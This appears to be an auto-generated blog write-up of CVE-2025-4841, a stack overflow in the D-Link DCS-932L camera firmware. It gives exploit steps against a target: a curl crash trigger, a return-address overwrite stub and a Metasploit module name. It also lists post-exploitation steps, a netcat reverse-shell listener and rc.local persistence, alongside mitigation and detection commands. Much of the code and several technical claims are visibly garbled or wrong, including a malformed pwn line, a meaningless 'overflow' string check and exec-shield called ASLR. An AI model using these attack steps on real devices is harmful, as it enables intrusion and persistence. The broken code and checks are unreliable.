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How CVE-2025-4841 Works
The vulnerability exists in the `/bin/gpio` binary of D-Link DCS-932L firmware version 2.18.01, specifically in the `sub_404780` function. A stack-based buffer overflow occurs due to improper bounds checking when processing the `CameraName` argument. Attackers can remotely exploit this flaw by sending an overly long string, corrupting the stack and potentially executing arbitrary code. Since the device is unsupported, no official patch exists, leaving affected systems exposed to RCE (Remote Code Execution) attacks. The public exploit leverages this weakness to hijack control flow by overwriting return addresses.
DailyCVE Form
Platform: D-Link DCS-932L
Version: 2.18.01
Vulnerability: Stack overflow
Severity: Critical
Date: 06/03/2025
Prediction: No patch expected
What Undercode Say:
Exploitation Analysis
1. Crash Trigger:
curl -X POST "http://<TARGET_IP>/cgi-bin/gpio" --data "CameraName=$(python -c 'print("A"500)')"
2. ROP Chain Setup:
from pwn import payload = b"A"264 + p32(0xdeadbeef) Overwrite return address
3. Metasploit Module:
exploit/unix/webapp/dlink_dcs932l_rce
Protection Measures
1. Network Mitigation:
iptables -A INPUT -p tcp --dport 80 -s !TRUSTED_IP -j DROP
2. Firmware Workaround:
chmod -x /bin/gpio Disable vulnerable binary
3. Memory Protection:
echo 1 > /proc/sys/kernel/exec-shield Enable ASLR (if supported)
Detection Script
import requests
response = requests.post("http://<TARGET_IP>/cgi-bin/gpio", data={"CameraName":"test"})
if "overflow" in response.text:
print("[!] Vulnerable to CVE-2025-4841")
Post-Exploitation
1. Reverse Shell:
nc -lvp 4444
2. Persistence:
echo "malicious_payload &" >> /etc/rc.local
Forensic Commands
1. Log Inspection:
grep -r "gpio" /var/log/
2. Binary Analysis:
readelf -s /bin/gpio | grep sub_404780
No further commentary provided.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
